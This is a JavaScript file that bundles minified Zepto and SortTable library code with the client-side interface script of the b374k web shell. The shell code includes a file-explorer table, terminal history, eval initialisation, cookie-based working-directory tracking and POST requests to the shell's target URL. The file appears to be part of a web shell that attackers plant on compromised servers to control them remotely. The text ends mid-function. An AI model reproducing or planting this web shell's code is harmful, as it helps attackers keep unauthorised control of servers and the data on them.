,arguments)}),h.del=i;var k=i||e;h.proxy=function(a){a=y(a);if(a.isImmediatePropagationStop
ped())return;a.data=f;var c=k.apply(b,a._args==d?[a]:[a].concat(a._args));return c===!1&&(a
.preventDefault(),a.stopPropagation()),c},h.i=n.length,n.push(h),"addEventListener"in b&&b.
addEventListener(r(h.e),h.proxy,q(h,j))})}function t(a,b,c,d,e){var f=m(a);(b||"").split(/\
s/).forEach(function(b){n(a,b,c,d).forEach(function(b){delete h[f][b.i],"removeEventListene
r"in a&&a.removeEventListener(r(b.e),b.proxy,q(b,e))})})}function y(b,c){if(c||!b.isDefault
Prevented){c||(c=b),a.each(x,function(a,d){var e=c[a];b[a]=function(){return this[d]=u,e&&e
.apply(c,arguments)},b[d]=v});if(c.defaultPrevented!==d?c.defaultPrevented:"returnValue"in
c?c.returnValue===!1:c.getPreventDefault&&c.getPreventDefault())b.isDefaultPrevented=u}retu
rn b}function z(a){var b,c={originalEvent:a};for(b in a)!w.test(b)&&a[b]!==d&&(c[b]=a[b]);r
eturn y(c,a)}var b=a.zepto.qsa,c=1,d,e=Array.prototype.slice,f=a.isFunction,g=function(a){r
eturn typeof a=="string"},h={},i={},j="onfocusin"in window,k={focus:"focusin",blur:"focusou
t"},l={mouseenter:"mouseover",mouseleave:"mouseout"};i.click=i.mousedown=i.mouseup=i.mousem
ove="MouseEvents",a.event={add:s,remove:t},a.proxy=function(b,c){if(f(b)){var d=function(){
return b.apply(c,arguments)};return d._zid=m(b),d}if(g(c))return a.proxy(b[c],b);throw new
TypeError("expected function")},a.fn.bind=function(a,b,c){return this.on(a,b,c)},a.fn.unbin
d=function(a,b){return this.off(a,b)},a.fn.one=function(a,b,c,d){return this.on(a,b,c,d,1)}
;var u=function(){return!0},v=function(){return!1},w=/^([A-Z]|returnValue$|layer[XY]$)/,x={
preventDefault:"isDefaultPrevented",stopImmediatePropagation:"isImmediatePropagationStopped
",stopPropagation:"isPropagationStopped"};a.fn.delegate=function(a,b,c){return this.on(b,a,
c)},a.fn.undelegate=function(a,b,c){return this.off(b,a,c)},a.fn.live=function(b,c){return
a(document.body).delegate(this.selector,b,c),this},a.fn.die=function(b,c){return a(document
.body).undelegate(this.selector,b,c),this},a.fn.on=function(b,c,h,i,j){var k,l,m=this;if(b&
&!g(b))return a.each(b,function(a,b){m.on(a,c,h,b,j)}),m;!g(c)&&!f(i)&&i!==!1&&(i=h,h=c,c=d
);if(f(h)||h===!1)i=h,h=d;return i===!1&&(i=v),m.each(function(d,f){j&&(k=function(a){retur
n t(f,a.type,i),i.apply(this,arguments)}),c&&(l=function(b){var d,g=a(b.target).closest(c,f
).get(0);if(g&&g!==f)return d=a.extend(z(b),{currentTarget:g,liveFired:f}),(k||i).apply(g,[
d].concat(e.call(arguments,1)))}),s(f,b,i,h,c,l||k)})},a.fn.off=function(b,c,e){var h=this;
return b&&!g(b)?(a.each(b,function(a,b){h.off(a,c,b)}),h):(!g(c)&&!f(e)&&e!==!1&&(e=c,c=d),
e===!1&&(e=v),h.each(function(){t(this,b,e,c)}))},a.fn.trigger=function(b,c){return b=g(b)|
|a.isPlainObject(b)?a.Event(b):y(b),b._args=c,this.each(function(){"dispatchEvent"in this?t
his.dispatchEvent(b):a(this).triggerHandler(b,c)})},a.fn.triggerHandler=function(b,c){var d
,e;return this.each(function(f,h){d=z(g(b)?a.Event(b):b),d._args=c,d.target=h,a.each(n(h,b.
type||b),function(a,b){e=b.proxy(d);if(d.isImmediatePropagationStopped())return!1})}),e},"f
ocusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseo
ver mouseout mouseenter mouseleave change select keydown keypress keyup error".split(" ").f
orEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.trigger(b)}}),["focus",
"blur"].forEach(function(b){a.fn[b]=function(a){return a?this.bind(b,a):this.each(function(
){try{this[b]()}catch(a){}}),this}}),a.Event=function(a,b){g(a)||(b=a,a=b.type);var c=docum
ent.createEvent(i[a]||"Events"),d=!0;if(b)for(var e in b)e=="bubbles"?d=!!b[e]:c[e]=b[e];re
turn c.initEvent(a,d,!0),y(c)}}(Zepto),function($){function triggerAndReturn(a,b,c){var d=$
.Event(b);return $(a).trigger(d,c),!d.isDefaultPrevented()}function triggerGlobal(a,b,c,d){
if(a.global)return triggerAndReturn(b||document,c,d)}function ajaxStart(a){a.global&&$.acti
ve++===0&&triggerGlobal(a,null,"ajaxStart")}function ajaxStop(a){a.global&&!--$.active&&tri
ggerGlobal(a,null,"ajaxStop")}function ajaxBeforeSend(a,b){var c=b.context;if(b.beforeSend.
call(c,a,b)===!1||triggerGlobal(b,c,"ajaxBeforeSend",[a,b])===!1)return!1;triggerGlobal(b,c
,"ajaxSend",[a,b])}function ajaxSuccess(a,b,c,d){var e=c.context,f="success";c.success.call
(e,a,f,b),d&&d.resolveWith(e,[a,f,b]),triggerGlobal(c,e,"ajaxSuccess",[b,c,a]),ajaxComplete
(f,b,c)}function ajaxError(a,b,c,d,e){var f=d.context;d.error.call(f,c,b,a),e&&e.rejectWith
(f,[c,b,a]),triggerGlobal(d,f,"ajaxError",[c,d,a||b]),ajaxComplete(b,c,d)}function ajaxComp
lete(a,b,c){var d=c.context;c.complete.call(d,b,a),triggerGlobal(c,d,"ajaxComplete",[b,c]),
ajaxStop(c)}function empty(){}function mimeToDataType(a){return a&&(a=a.split(";",2)[0]),a&
&(a==htmlType?"html":a==jsonType?"json":scriptTypeRE.test(a)?"script":xmlTypeRE.test(a)&&"x
ml")||"text"}function appendQuery(a,b){return b==""?a:(a+"&"+b).replace(/[&?]{1,2}/,"?")}fu
nction serializeData(a){a.processData&&a.data&&$.type(a.data)!="string"&&(a.data=$.param(a.
data,a.traditional)),a.data&&(!a.type||a.type.toUpperCase()=="GET")&&(a.url=appendQuery(a.u
rl,a.data),a.data=undefined)}function parseArguments(a,b,c,d){var e=!$.isFunction(b);return
{url:a,data:e?b:undefined,success:e?$.isFunction(c)?c:undefined:b,dataType:e?d||c:c}}functi
on serialize(a,b,c,d){var e,f=$.isArray(b),g=$.isPlainObject(b);$.each(b,function(b,h){e=$.
type(h),d&&(b=c?d:d+"["+(g||e=="object"||e=="array"?b:"")+"]"),!d&&f?a.add(h.name,h.value):
e=="array"||!c&&e=="object"?serialize(a,h,c,b):a.add(b,h)})}var jsonpID=0,document=window.d
```

```
ocument,key,name,rscript=/<script\b[^<]*(?:(?!<\/script>)<[^<]*)*<\/script>/gi,scriptTypeRE
=/^(?:text|application)\/javascript/i,xmlTypeRE=/^(?:text|application)\/xml/i,jsonType="app
lication/json",htmlType="text/html",blankRE=/^\s*$/;$.active=0,$.ajaxJSONP=function(a,b){if
("type"in a){var c=a.jsonpCallback,d=($.isFunction(c)?c():c)||"jsonp"+ ++jsonpID,e=document
.createElement("script"),f=window[d],g,h=function(a){$(e).triggerHandler("error",a||"abort"
)},i={abort:h},j;return b&&b.promise(i),$(e).on("load error",function(c,h){clearTimeout(j),
$(e).off().remove(),c.type=="error"||!g?ajaxError(null,h||"error",i,a,b):ajaxSuccess(g[0],i
,a,b),window[d]=f,g&&$.isFunction(f)&&f(g[0]),f=g=undefined}),ajaxBeforeSend(i,a)===!1?(h("
abort"),i):(window[d]=function(){g=arguments},e.src=a.url.replace(/=\?/,"="+d),document.hea
d.appendChild(e),a.timeout>0&&(j=setTimeout(function(){h("timeout")},a.timeout)),i)}return
$.ajax(a)},$.ajaxSettings={type:"GET",beforeSend:empty,success:empty,error:empty,complete:e
mpty,context:null,global:!0,xhr:function(){return new window.XMLHttpRequest},accepts:{scrip
t:"text/javascript, application/javascript, application/x-javascript",json:jsonType,xml:"ap
plication/xml, text/xml",html:htmlType,text:"text/plain"},crossDomain:!1,timeout:0,processD
ata:!0,cache:!0},$.ajax=function(options){var settings=$.extend({},options||{}),deferred=$.
Deferred&&$.Deferred();for(key in $.ajaxSettings)settings[key]===undefined&&(settings[key]=
$.ajaxSettings[key]);ajaxStart(settings),settings.crossDomain||(settings.crossDomain=/^([\w
-]+:)?\/\/([^\/]+)/.test(settings.url)&&RegExp.$2!=window.location.host),settings.url||(set
tings.url=window.location.toString()),serializeData(settings),settings.cache===!1&&(setting
s.url=appendQuery(settings.url,"_="+Date.now())));var dataType=settings.dataType,hasPlacehol
der=/=\?/.test(settings.url);if(dataType=="jsonp"||hasPlaceholder)return hasPlaceholder||(s
ettings.url=appendQuery(settings.url,settings.jsonp?settings.jsonp+"=?":settings.jsonp===!1
?"":"callback=?")),$.ajaxJSONP(settings,deferred);var mime=settings.accepts[dataType],heade
rs={},setHeader=function(a,b){headers[a.toLowerCase()]=[a,b]},protocol=/^([\w-]+:)\/\//.tes
t(settings.url)?RegExp.$1:window.location.protocol,xhr=settings.xhr(),nativeSetHeader=xhr.s
etRequestHeader,abortTimeout;deferred&&deferred.promise(xhr),settings.crossDomain||setHeade
r("X-Requested-With","XMLHttpRequest"),setHeader("Accept",mime||"*/*");if(mime=settings.mim
eType||mime)mime.indexOf(",")>-1&&(mime=mime.split(",",2)[0]),xhr.overrideMimeType&&xhr.ove
rrideMimeType(mime);(settings.contentType||settings.contentType!==!1&&settings.data&&settin
gs.type.toUpperCase()!="GET")&&setHeader("Content-Type",settings.contentType||"application/
x-www-form-urlencoded");if(settings.headers)for(name in settings.headers)setHeader(name,set
tings.headers[name]);xhr.setRequestHeader=setHeader,xhr.onreadystatechange=function(){if(xh
r.readyState==4){xhr.onreadystatechange=empty,clearTimeout(abortTimeout);var result,error=!
1;if(xhr.status>=200&&xhr.status<300||xhr.status==304||xhr.status==0&&protocol=="file:"){da
taType=dataType||mimeToDataType(settings.mimeType||xhr.getResponseHeader("content-type")),r
esult=xhr.responseText;try{dataType=="script"?(1,eval)(result):dataType=="xml"?result=xhr.r
esponseXML:dataType=="json"&&(result=blankRE.test(result)?null:$.parseJSON(result))}catch(e
){error=e}error?ajaxError(error,"parsererror",xhr,settings,deferred):ajaxSuccess(result,xhr
,settings,deferred)}else ajaxError(xhr.statusText||null,xhr.status?"error":"abort",xhr,sett
ings,deferred)}};if(ajaxBeforeSend(xhr,settings)===!1)return xhr.abort(),ajaxError(null,"ab
ort",xhr,settings,deferred),xhr;if(settings.xhrFields)for(name in settings.xhrFields)xhr[na
me]=settings.xhrFields[name];var async="async"in settings?settings.async:!0;xhr.open(settin
gs.type,settings.url,async,settings.username,settings.password);for(name in headers)nativeS
etHeader.apply(xhr,headers[name]);return settings.timeout>0&&(abortTimeout=setTimeout(funct
ion(){xhr.onreadystatechange=empty,xhr.abort(),ajaxError(null,"timeout",xhr,settings,deferr
ed)},settings.timeout)),xhr.send(settings.data?settings.data:null),xhr},$.get=function(a,b,
c,d){return $.ajax(parseArguments.apply(null,arguments))},$.post=function(a,b,c,d){var e=pa
rseArguments.apply(null,arguments);return e.type="POST",$.ajax(e)},$.getJSON=function(a,b,c
){var d=parseArguments.apply(null,arguments);return d.dataType="json",$.ajax(d)},$.fn.load=
function(a,b,c){if(!this.length)return this;var d=this,e=a.split(/\s/),f,g=parseArguments(a
,b,c),h=g.success;return e.length>1&&(g.url=e[0],f=e[1]),g.success=function(a){d.html(f?$("
<div>").html(a.replace(rscript,"")).find(f):a),h&&h.apply(d,arguments)},$.ajax(g),this};var
 escape=encodeURIComponent;$.param=function(a,b){var c=[];return c.add=function(a,b){this.p
ush(escape(a)+"="+escape(b))},serialize(c,a,b),c.join("&").replace(/%20/g,"+")}}(Zepto),fun
ction(a){a.fn.serializeArray=function(){var b=[],c;return a([].slice.call(this.get(0).eleme
nts)).each(function(){c=a(this);var d=c.attr("type");this.nodeName.toLowerCase()!="fieldset
"&&!this.disabled&&d!="submit"&&d!="reset"&&d!="button"&&(d!="radio"&&d!="checkbox"||this.c
hecked)&&b.push({name:c.attr("name"),value:c.val()})}),b},a.fn.serialize=function(){var a=[
];return this.serializeArray().forEach(function(b){a.push(encodeURIComponent(b.name)+"="+en
codeURIComponent(b.value))}),a.join("&")},a.fn.submit=function(b){if(b)this.bind("submit",b
);else if(this.length){var c=a.Event("submit");this.eq(0).trigger(c),c.isDefaultPrevented()
||this.get(0).submit()}return this}}(Zepto),function(a){"__proto__"in{}||a.extend(a.zepto,{
Z:function(b,c){return b=b||[],a.extend(b,a.fn),b.selector=c||"",b.__Z=!0,b},isZ:function(b
){return a.type(b)==="array"&&"__Z"in b}});try{getComputedStyle(undefined)}catch(b){var c=g
etComputedStyle;window.getComputedStyle=function(a){try{return c(a)}catch(b){return null}}}
}(Zepto)
```

```javascript
/**
*
* SortTable
* version 2
* 7th April 2007
* Stuart Langridge, http://www.kryogenix.org/code/browser/sorttable/
*
**/
var h=!0,j=!1;
sorttable={e:function(){arguments.callee.i||(arguments.callee.i=h,k&&clearInterval(k),docum
ent.createElement&&document.getElementsByTagName&&(sorttable.a=/^(\d\d?)[\/\.-](\d\d?)[\/\.
-]((\d\d)?\d\d)$/,l(document.getElementsByTagName("table"),function(a){-1!=a.className.sear
ch(/\bsortable\b/)&&sorttable.k(a)})))},k:function(a){0==a.getElementsByTagName("thead").le
ngth&&(the=document.createElement("thead"),the.appendChild(a.rows[0]),a.insertBefore(the,a.
firstChild));null==a.tHead&&(a.tHead=a.getElementsByTagName("thead")[0]);
if(1==a.tHead.rows.length){sortbottomrows=[];for(var b=0;b<a.rows.length;b++)-1!=a.rows[b].
className.search(/\bsortbottom\b/)&&(sortbottomrows[sortbottomrows.length]=a.rows[b]);if(so
rtbottomrows){null==a.tFoot&&(tfo=document.createElement("tfoot"),a.appendChild(tfo));for(b
=0;b<sortbottomrows.length;b++)tfo.appendChild(sortbottomrows[b]);delete sortbottomrows}hea
drow=a.tHead.rows[0].cells;for(b=0;b<headrow.length;b++)if(!headrow[b].className.match(/\bs
orttable_nosort\b/)){(mtch=headrow[b].className.match(/\bsorttable_([a-z0-9]+)\b/))&&
(override=mtch[1]);headrow[b].p=mtch&&"function"==typeof sorttable["sort_"+override]?sortta
ble["sort_"+override]:sorttable.j(a,b);headrow[b].o=b;headrow[b].c=a.tBodies[0];var c=headr
ow[b],e=sorttable.q=function(){if(-1!=this.className.search(/\bsorttable_sorted\b/))sorttab
le.reverse(this.c),this.className=this.className.replace("sorttable_sorted","sorttable_sort
ed_reverse"),this.removeChild(document.getElementById("sorttable_sortfwdind")),sortrevind=d
ocument.createElement("span"),sortrevind.id="sorttable_sortrevind",
sortrevind.innerHTML=" &#x25B4;",this.appendChild(sortrevind);else if(-1!=this.classNa
me.search(/\bsorttable_sorted_reverse\b/))sorttable.reverse(this.c),this.className=this.cla
ssName.replace("sorttable_sorted_reverse","sorttable_sorted"),this.removeChild(document.get
ElementById("sorttable_sortrevind")),sortfwdind=document.createElement("span"),sortfwdind.i
d="sorttable_sortfwdind",sortfwdind.innerHTML=" &#x25BE;",this.appendChild(sortfwdind)
;else{theadrow=this.parentNode;l(theadrow.childNodes,
function(a){1==a.nodeType&&(a.className=a.className.replace("sorttable_sorted_reverse",""),
a.className=a.className.replace("sorttable_sorted",""))});(sortfwdind=document.getElementBy
Id("sorttable_sortfwdind"))&&sortfwdind.parentNode.removeChild(sortfwdind);(sortrevind=docu
ment.getElementById("sorttable_sortrevind"))&&sortrevind.parentNode.removeChild(sortrevind)
;this.className+=" sorttable_sorted";sortfwdind=document.createElement("span");sortfwdind.i
d="sorttable_sortfwdind";sortfwdind.innerHTML=
" &#x25BE;";this.appendChild(sortfwdind);row_array=[];col=this.o;rows=this.c.rows;for(
var a=0;a<rows.length;a++)row_array[row_array.length]=[sorttable.d(rows[a].cells[col]),rows
[a]];row_array.sort(this.p);tb=this.c;for(a=0;a<row_array.length;a++)tb.appendChild(row_arr
ay[a][1]);delete row_array}};if(c.addEventListener)c.addEventListener("click",e,j);else{e.f
||(e.f=n++);c.b||(c.b={});var g=c.b.click;g||(g=c.b.click={},c.onclick&&(g[0]=c.onclick));g
[e.f]=e;c.onclick=p}}}},j:function(a,b){sortfn=
sorttable.l;for(var c=0;c<a.tBodies[0].rows.length;c++)if(text=sorttable.d(a.tBodies[0].row
s[c].cells[b]),""!=text){if(text.match(/^-?[\u00a3$\u00a4]?[\d,.]+%?$/))return sorttable.n;
if(possdate=text.match(sorttable.a)){first=parseInt(possdate[1]);second=parseInt(possdate[2
]);if(12<first)return sorttable.g;if(12<second)return sorttable.m;sortfn=sorttable.g}}retur
n sortfn},d:function(a){if(!a)return"";hasInputs="function"==typeof a.getElementsByTagName&
&a.getElementsByTagName("input").length;if(""!=
a.title)return a.title;if("undefined"!=typeof a.textContent&&!hasInputs)return a.textConten
t.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.innerText&&!hasInputs)return a.innerTex
t.replace(/^\s+|\s+$/g,"");if("undefined"!=typeof a.text&&!hasInputs)return a.text.replace(
/^\s+|\s+$/g,"");switch(a.nodeType){case 3:if("input"==a.nodeName.toLowerCase())return a.va
lue.replace(/^\s+|\s+$/g,"");case 4:return a.nodeValue.replace(/^\s+|\s+$/g,"");case 1:case
 11:for(var b="",c=0;c<a.childNodes.length;c++)b+=
sorttable.d(a.childNodes[c]);return b.replace(/^\s+|\s+$/g,"");default:return""}},reverse:f
unction(a){newrows=[];for(var b=0;b<a.rows.length;b++)newrows[newrows.length]=a.rows[b];for
(b=newrows.length-1;0<=b;b--)a.appendChild(newrows[b]);delete newrows},n:function(a,b){aa=p
arseFloat(a[0].replace(/[^0-9.-]/g,""));isNaN(aa)&&(aa=0);bb=parseFloat(b[0].replace(/[^0-9
.-]/g,""));isNaN(bb)&&(bb=0);return aa-bb},l:function(a,b){return a[0].toLowerCase()==b[0].
toLowerCase()?0:a[0].toLowerCase()<b[0].toLowerCase()?
-1:1},g:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];m=mtch[2];d=mtch[1];1==m.lengt
h&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];m=mtch
[2];d=mtch[1];1==m.length&&(m="0"+m);1==d.length&&(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1
<dt2?-1:1},m:function(a,b){mtch=a[0].match(sorttable.a);y=mtch[3];d=mtch[2];m=mtch[1];1==m.
length&&(m="0"+m);1==d.length&&(d="0"+d);dt1=y+m+d;mtch=b[0].match(sorttable.a);y=mtch[3];d
```

```
=mtch[2];m=mtch[1];1==m.length&&(m="0"+m);1==d.length&&
(d="0"+d);dt2=y+m+d;return dt1==dt2?0:dt1<dt2?-1:1},r:function(a,b){for(var c=0,e=a.length-
1,g=h;g;){for(var g=j,f=c;f<e;++f)0<b(a[f],a[f+1])&&(g=a[f],a[f]=a[f+1],a[f+1]=g,g=h);e--;i
f(!g)break;for(f=e;f>c;--f)0>b(a[f],a[f-1])&&(g=a[f],a[f]=a[f-1],a[f-1]=g,g=h);c++}}};docum
ent.addEventListener&&document.addEventListener("DOMContentLoaded",sorttable.e,j);if(/WebKi
t/i.test(navigator.userAgent))var k=setInterval(function(){/loaded|complete/.test(document.
readyState)&&sorttable.e()},10);
window.onload=sorttable.e;var n=1;function p(a){var b=h;a||(a=((this.ownerDocument||this.do
cument||this).parentWindow||window).event,a.preventDefault=q,a.stopPropagation=r);var c=thi
s.b[a.type],e;for(e in c)this.h=c[e],this.h(a)===j&&(b=j);return b}function q(){this.return
Value=j}function r(){this.cancelBubble=h}Array.forEach||(Array.forEach=function(a,b,c){for(
var e=0;e<a.length;e++)b.call(c,a[e],e,a)});
Function.prototype.forEach=function(a,b,c){for(var e in a)"undefined"==typeof this.prototyp
e[e]&&b.call(c,a[e],e,a)};String.forEach=function(a,b,c){Array.forEach(a.split(""),function
(e,g){b.call(c,e,g,a)})};function l(a,b){if(a){var c=Object;if(a instanceof Function)c=Func
tion;else{if(a.forEach instanceof Function){a.forEach(b,void 0);return}"string"==typeof a?c
=String:"number"==typeof a.length&&(c=Array)}c.forEach(a,b,void 0)}};


var loading_count = 0;
var running = false;
var defaultTab = 'explorer';
var currentTab = $('#'+defaultTab);
var tabScroll = new Object;
var onDrag = false;
var onScroll = false;
var scrollDelta = 1;
var scrollCounter = 0;
var scrollSpeed = 60;
var scrollTimer = '';
var dragX = '';
var dragY = '';
var dragDeltaX = '';
var dragDeltaY = '';
var editSuccess = '';
var terminalHistory = new Array();
var terminalHistoryPos = 0;
var evalSupported = "";
var evalReady = false;
var resizeTimer = '';
var portableWidth = 700;
var portableMode = null;

Zepto(function($){
        if(init_shell){
                var now = new Date();
                output("started @ "+ now.toGMTString());
                output("cwd : "+get_cwd());
                output("module : "+module_to_load);

                show_tab();
                xpl_bind();
                eval_init();

                window_resize();

                xpl_update_status();

                $(window).on('resize', function(e){
                        clearTimeout(resizeTimer);
                        resizeTimer = setTimeout("window_resize()", 1000);
                });

                $('.menuitem').on('click', function(e){
                        selectedTab = $(this).attr('href').substr(2);
                        show_tab(selectedTab);
                });

                $('#logout').on('click', function(e){
```

```
                        var cookie = document.cookie.split(';');
                        for(var i=0; i<cookie.length; i++){
                                var entries = cookie[i], entry = entries.split("="), name =
 entry[0];
                                document.cookie = name + "=''; expires=Thu, 01 Jan 1970 00:
00:01 GMT; path=/";
                        }
                        localStorage.clear();
                        location.href = targeturl;
                });

                $('#totop').on('click', function(e){
                        $(window).scrollTop(0);
                });
                $('#totop').on('mouseover', function(e){
                        onScroll = true;
                        clearTimeout(scrollTimer);
                        start_scroll('top');
                });
                $('#totop').on('mouseout', function(e){
                        onScroll = false;
                        scrollCounter = 0;
                });
                $('#tobottom').on('click', function(e){
                        $(window).scrollTop($(document).height()-$(window).height());
                });
                $('#tobottom').on('mouseover', function(e){
                        onScroll = true;
                        clearTimeout(scrollTimer);
                        start_scroll('bottom');
                });
                $('#tobottom').on('mouseout', function(e){
                        onScroll = false;
                        scrollCounter = 0;
                });
                $('#basicInfo').on('mouseenter', function(e){
                        $('#toggleBasicInfo').show();
                });
                $('#basicInfo').on('mouseleave', function(e){
                        $('#toggleBasicInfo').hide();
                });
                $('#toggleBasicInfo').on('click', function(e){
                        $('#basicInfo').hide();
                        $('#showinfo').show();
                        $('#toggleBasicInfo').hide();
                        localStorage.setItem('infoBarShown', 'hidden');
                });
                $('#showinfo').on('click', function(e){
                        $('#basicInfo').show();
                        $('#showinfo').hide();
                        localStorage.setItem('infoBarShown', 'shown');
                });

                if((infoBarShown = localStorage.getItem('infoBarShown'))){
                        if(infoBarShown=='shown'){
                                $('#basicInfo').show();
                                $('#showinfo').hide();
                        }
                        else{
                                $('#basicInfo').hide();
                                $('#showinfo').show();
                                $('#toggleBasicInfo').hide();
                        }
                }
                else{
                        info_refresh();
                }
```

```
                        if(history.pushState){
                                window.onpopstate = function(event) { refresh_tab(); };
                        }
                        else{
                                window.historyEvent = function(event) { refresh_tab(); };
                        }
        }
});

function output(str){
        console.log('b374k> '+str);
}

function window_resize(){
        bodyWidth = $('body').width();
        if(bodyWidth<=portableWidth){
                layout_portable();
        }
        else{
                layout_normal();
        }
}

function layout_portable(){
        nav = $('#nav');
        menu = $('#menu');
        headerNav = $('#headerNav');
        content = $('#content');

        //nav.hide();
        nav.prependTo('#content');
        nav.css('padding','5px 8px');
        nav.css('margin-top', '8px');
        nav.css('display','block');
        nav.addClass('border');

        menu.children().css('width', '100%');
        menu.hide();
        $('#menuButton').remove();
        headerNav.prepend("<div id='menuButton' class='boxtitle' onclick=\"$('#menu').toggl
e();\" style='float-left;display:inline;padding:4px 8px;margin-right:8px;'>menu</div>");
        menu.attr('onclick', "\$('#menu').hide();");

        $('#xplTable tr>:nth-child(4)').hide();
        $('#xplTable tr>:nth-child(5)').hide();
        if(!win){
                $('#xplTable tr>:nth-child(6)').hide();
        }

        tblfoot = $('#xplTable tfoot td:last-child');
        if(tblfoot[0]) tblfoot[0].colSpan = 1;
        if(tblfoot[1]) tblfoot[1].colSpan = 2;


        $('.box').css('width', '100%');
        $('.box').css('height', '100%');
        $('.box').css('left', '0px');
        $('.box').css('top', '0px');

        paddingTop = $('#header').height();
        content.css('padding-top', paddingTop+'px');

        portableMode = true;
}

function layout_normal(){
        nav = $('#nav');
        menu = $('#menu');
```

```
        content = $('#content');

        nav.insertAfter('#b374k');
        nav.css('padding','0');
        nav.css('margin-top', '0');
        nav.css('display','inline');
        nav.removeClass('border');

        menu.children().css('width', 'auto');
        menu.show();
        $('#menuButton').remove();
        menu.attr('onclick', "");

        $('#xplTable tr>:nth-child(4)').show();
        $('#xplTable tr>:nth-child(5)').show();
        if(!win){
                $('#xplTable tr>:nth-child(6)').show();
                colspan = 4;
        }
        else colspan = 3;

        tblfoot = $('#xplTable tfoot td:last-child');
        if(tblfoot[0]) tblfoot[0].colSpan = colspan;
        if(tblfoot[1]) tblfoot[1].colSpan = colspan+1;

        paddingTop = $('#header').height();
        content.css('padding-top', paddingTop+'px');

        portableMode = false;
}

function start_scroll(str){
        if(str=='top'){
                to = $(window).scrollTop() - scrollCounter;
                scrollCounter = scrollDelta + scrollCounter;
                if(to<=0){
                        to = 0;
                        onScroll = false;
                }
                else if(onScroll){
                        scrollTimer = setTimeout("start_scroll('top')", scrollSpeed);
                        $(window).scrollTop(to);
                }
        }
        else if(str=='bottom'){
                to = $(window).scrollTop() + scrollCounter;
                scrollCounter = scrollDelta + scrollCounter;
                bottom = $(document).height()-$(window).height();
                if(to>=bottom){
                        to = bottom;
                        onScroll = false;
                }
                else if(onScroll){
                        scrollTimer = setTimeout("start_scroll('bottom')", scrollSpeed);
                        $(window).scrollTop(to);
                }
        }
}

function get_cwd(){
        return decodeURIComponent(get_cookie('cwd'));
}

function fix_tabchar(el, e){
        if(e.keyCode==9){
                e.preventDefault();
                var s = el.selectionStart;
                el.value = el.value.substring(0,el.selectionStart) + "\t" + el.value.substr
```

```
ing(el.selectionEnd);
                el.selectionEnd = s+1;
        }
}

function get_cookie(key){
        var res;
        return (res = new RegExp('(?:^|; )' + encodeURIComponent(key) + '=([^;]*)').exec(do
cument.cookie)) ? (res[1]) : null;
}

function set_cookie(key, value){
        document.cookie = key + '=' + encodeURIComponent(value);
}

function html_safe(str){
        if(typeof(str) == "string"){
                str = str.replace(/&/g, "&amp;");
                str = str.replace(/"/g, "&quot;");
                str = str.replace(/'/g, "&#039;");
                str = str.replace(/</g, "&lt;");
                str = str.replace(/>/g, "&gt;");
        }
        return str;
}

function ucfirst(str){
        return str.charAt(0).toUpperCase() + str.slice(1);
}

function time(){
        var d = new Date();
        return d.getTime();
}

function send_post(targetdata, callback, loading){
        if(loading==null) loading_start();
        $.ajax({
                url: targeturl,
                type: 'POST',
                data: targetdata,
                success: function(res){
                        callback(res);
                        if(loading==null) loading_stop();
                },
                error: function(){ if(loading==null) loading_stop(); }
        });
}

function loading_start(){
        if(!running){
                $('#overlay').show();
                running = true;
                loading_loop();
        }
}

function loading_loop(){
        if(running){
                img = $('#loading');
                img.css('transform', 'rotate('+loading_count+'deg)');
                img.css('-ms-transform', 'rotate('+loading_count+'deg)');
                img.css('-webkit-transform', 'rotate('+loading_count+'deg)');

                loading_count+=7;
                if(loading_count>360) loading_count = 0;
                if(running) setTimeout("loading_loop()",20);
        }
```

```
}

function loading_stop(){
        if(running){
                img = $('#loading');
                img.css('transform', 'rotate(0deg)');
                img.css('-ms-transform', 'rotate(0deg)');
                img.css('-webkit-transform', 'rotate(0deg)');

                $('#overlay').hide();
                running = false;
        }
}

function show_tab(id){
        if(!id){
                if(location.hash!='') id = location.hash.substr(2);
                else id = defaultTab;
        }
        refresh_tab(id);
}

function refresh_tab(id){
        if(!id){
                if(location.hash!='') id = location.hash.substr(2);
                else id = defaultTab;
        }
        $('.menuitemSelected').removeClass("menuitemSelected");
        $('#menu'+id).addClass("menuitemSelected");

        tabScroll[currentTab.attr('id')] = $(window).scrollTop();
        currentTab.hide();
        currentTab = $('#'+id);
        currentTab.show();
        window[id]();
        if(tabScroll[id]){
                $(window).scrollTop(tabScroll[id]);
        }
        hide_box();
}

function trap_enter(e, callback){
        if(e.keyCode==13){
                if(callback!=null) window[callback]();
        }
}

function show_box(title, content){
        onDrag = false;
        hide_box();
        box = "<div class='box'><p class='boxtitle'>"+title+"<span class='boxclose floatRig
ht'>x</span></p><div class='boxcontent'>"+content+"</div><div class='boxresult'></div></div
>";
        $('#content').append(box);

        box_width = $('.box').width();
        body_width = $('body').width();

        box_height = $('.box').height();
        body_height = $('body').height();

        x = (body_width - box_width)/2;
        y = (body_height - box_height)/2;
        if(x<0 || portableMode) x = 0;
        if(y<0 || portableMode) y = 0;
        if(portableMode){
                $('.box').css('width', '100%');
                $('.box').css('height', '100%');
```

```
        }

        $('.box').css('left', x+'px');
        $('.box').css('top', y+'px');

        $('.boxclose').on('click', function(e){
                hide_box();
        });

        if(!portableMode){
                $('.boxtitle').on('click', function(e){
                        if(!onDrag){
                                dragDeltaX = e.pageX - parseInt($('.box').css('left'));
                                dragDeltaY = e.pageY - parseInt($('.box').css('top'));
                                drag_start();
                        }
                        else drag_stop();
                });
        }

        $(document).off('keyup');
        $(document).on('keyup', function(e){
                if(e.keyCode == 27) hide_box();
        });

        if($('.box input')[0]) $('.box input')[0].focus();
}

function hide_box(){
        $(document).off('keyup');
        $('.box').remove();
}

function drag_start(){
        if(!onDrag){
                onDrag = true;
                $('body').off('mousemove');
                $('body').on('mousemove', function(e){
                        dragX = e.pageX;
                        dragY = e.pageY;
                });
                setTimeout('drag_loop()',50);
        }
}

function drag_loop(){
        if(onDrag){
                x = dragX - dragDeltaX;
                y = dragY - dragDeltaY;
                if(y<0)y=0;
                $('.box').css('left', x+'px');
                $('.box').css('top', y+'px');
                setTimeout('drag_loop()',50);
        }
}

function drag_stop(){
        onDrag = false;
        $('body').off('mousemove');
}

function get_all_cbox_selected(id, callback){
        var buffer = new Array();
